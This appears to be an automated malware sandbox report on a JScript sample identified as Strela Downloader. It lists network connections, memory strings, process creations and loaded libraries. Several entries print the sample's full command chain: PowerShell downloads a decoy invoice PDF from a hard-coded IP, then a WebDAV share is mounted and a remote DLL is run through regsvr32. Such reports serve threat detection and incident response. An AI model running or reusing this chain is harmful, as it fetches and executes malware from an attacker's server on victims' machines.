Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1697953736.00000267DD6F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1759378448.000001A50E3F8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1759446388.000001A50E42D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000003.1757444779.000001A50E42D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1759446388.000001A50E42D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Vou
Source: svchost.exe, 00000008.00000002.2994824181.00000268B3A00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 00000008.00000003.1760026715.00000268B3C18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1760026715.00000268B3C18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1760026715.00000268B3C18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1760026715.00000268B3C4D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1760026715.00000268B3CC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1760026715.00000268B3CC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1760026715.00000268B3CC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7592, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 29112223682907312977.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/41@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7652:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_raed2va2.5bn.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 29112223682907312977.js

Virustotal: Detection: 13%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\29112223682907312977.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1604,i,11555239637211796600,11891808968204454140,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1604,i,11555239637211796600,11891808968204454140,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
